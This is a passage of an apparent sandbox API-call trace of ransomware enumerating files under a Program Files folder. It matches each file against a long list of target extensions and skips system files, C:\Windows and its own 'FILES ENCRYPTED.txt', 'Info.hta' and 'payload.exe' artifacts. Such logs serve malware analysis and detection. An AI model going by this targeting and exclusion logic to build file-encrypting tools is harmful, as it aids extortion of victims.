[0039.472] lstrlenW (lpString=".pdp") returned 4 [0039.472] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pef") returned 4 [0039.472] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pem") returned 4 [0039.472] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pff") returned 4 [0039.472] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pfm") returned 4 [0039.472] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0039.472] lstrlenW (lpString=".pfx") returned 4 [0039.473] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0039.473] lstrlenW (lpString=".pgm") returned 4 [0039.473] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0039.473] lstrlenW (lpString=".php") returned 4 [0039.473] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0039.473] lstrlenW (lpString=".php3") returned 5 [0039.473] lstrcmpiW (lpString1=".php3", lpString2="c.png") returned -1 [0039.473] lstrlenW (lpString=".php4") returned 5 [0039.473] lstrcmpiW (lpString1=".php4", lpString2="c.png") returned -1 [0039.473] lstrlenW (lpString=".php5") returned 5 [0039.473] lstrcmpiW (lpString1=".php5", lpString2="c.png") returned -1 [0039.473] lstrlenW (lpString=".phtml") returned 6 [0039.473] lstrcmpiW (lpString1=".phtml", lpString2="ic.png") returned -1 [0039.473] lstrlenW (lpString=".pict") returned 5 [0039.473] lstrcmpiW (lpString1=".pict", lpString2="c.png") returned -1 [0039.473] lstrlenW (lpString=".pl") returned 3 [0039.473] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0039.473] lstrlenW (lpString=".pls") returned 4 [0039.473] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0039.473] lstrlenW (lpString=".pm") returned 3 [0039.473] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0039.473] lstrlenW (lpString=".png") returned 4 [0039.473] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0039.473] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0039.473] lstrlenW (lpString=".gold") returned 5 [0039.473] lstrcmpiW (lpString1=".gold", lpString2="c.png") returned -1 [0039.473] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0039.473] lstrcmpiW (lpString1="boot.ini", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="bootfont.bin", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="ntldr", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="ntdetect.com", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="io.sys", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="Info.hta", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrcmpiW (lpString1="payload.exe", lpString2="16to9Squareframe_Buttongraphic.png") returned 1 [0039.473] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0039.474] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0039.474] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0039.474] lstrlenW (lpString=".1cd") returned 4 [0039.474] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".3ds") returned 4 [0039.474] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".3fr") returned 4 [0039.474] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".3g2") returned 4 [0039.474] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".3gp") returned 4 [0039.474] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".7z") returned 3 [0039.474] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.474] lstrlenW (lpString=".accda") returned 6 [0039.474] lstrcmpiW (lpString1=".accda", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".accdb") returned 6 [0039.474] lstrcmpiW (lpString1=".accdb", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".accdc") returned 6 [0039.474] lstrcmpiW (lpString1=".accdc", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".accde") returned 6 [0039.474] lstrcmpiW (lpString1=".accde", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".accdt") returned 6 [0039.474] lstrcmpiW (lpString1=".accdt", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".accdw") returned 6 [0039.474] lstrcmpiW (lpString1=".accdw", lpString2="re.png") returned -1 [0039.474] lstrlenW (lpString=".adb") returned 4 [0039.474] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".adp") returned 4 [0039.474] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".ai") returned 3 [0039.474] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.474] lstrlenW (lpString=".ai3") returned 4 [0039.474] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".ai4") returned 4 [0039.474] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".ai5") returned 4 [0039.474] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".ai6") returned 4 [0039.474] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0039.474] lstrlenW (lpString=".ai7") returned 4 [0039.475] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0039.475] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0039.475] lstrlenW (lpString=".1cd") returned 4 [0039.475] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0039.475] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0039.475] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0039.475] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0039.476] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ec0050 [0039.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0039.632] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0039.634] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0039.635] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3ec0050 | out: hHeap=0x880000) returned 1 [0039.637] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0039.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0039.637] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 1 [0039.637] lstrlenW (lpString="BabyGirl") returned 8 [0039.637] lstrcmpiW (lpString1="C:\\Windows", lpString2="BabyGirl") returned 1 [0039.637] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3ec0050 [0039.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0039.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0039.673] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.673] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0039.673] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0039.673] lstrlenW (lpString=".1cd") returned 4 [0039.673] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0039.673] lstrlenW (lpString=".3ds") returned 4 [0039.673] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0039.673] lstrlenW (lpString=".3fr") returned 4 [0039.673] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0039.673] lstrlenW (lpString=".3g2") returned 4 [0039.673] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0039.673] lstrlenW (lpString=".3gp") returned 4 [0039.673] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0039.673] lstrlenW (lpString=".7z") returned 3 [0039.673] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0039.673] lstrlenW (lpString=".accda") returned 6 [0039.673] lstrcmpiW (lpString1=".accda", lpString2="nd.png") returned -1 [0039.673] lstrlenW (lpString=".accdb") returned 6 [0039.673] lstrcmpiW (lpString1=".accdb", lpString2="nd.png") returned -1 [0039.673] lstrlenW (lpString=".accdc") returned 6 [0039.673] lstrcmpiW (lpString1=".accdc", lpString2="nd.png") returned -1 [0039.673] lstrlenW (lpString=".accde") returned 6 [0039.673] lstrcmpiW (lpString1=".accde", lpString2="nd.png") returned -1 [0039.673] lstrlenW (lpString=".accdt") returned 6 [0039.673] lstrcmpiW (lpString1=".accdt", lpString2="nd.png") returned -1 [0039.674] lstrlenW (lpString=".accdw") returned 6 [0039.674] lstrcmpiW (lpString1=".accdw", lpString2="nd.png") returned -1 [0039.674] lstrlenW (lpString=".adb") returned 4 [0039.674] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".adp") returned 4 [0039.674] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai") returned 3 [0039.674] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0039.674] lstrlenW (lpString=".ai3") returned 4 [0039.674] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai4") returned 4 [0039.674] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai5") returned 4 [0039.674] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai6") returned 4 [0039.674] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai7") returned 4 [0039.674] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".ai8") returned 4 [0039.674] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0039.674] lstrlenW (lpString=".anim") returned 5 [0039.674] lstrcmpiW (lpString1=".anim", lpString2="d.png") returned -1 [0039.674] lstrlenW (lpString=".arw") 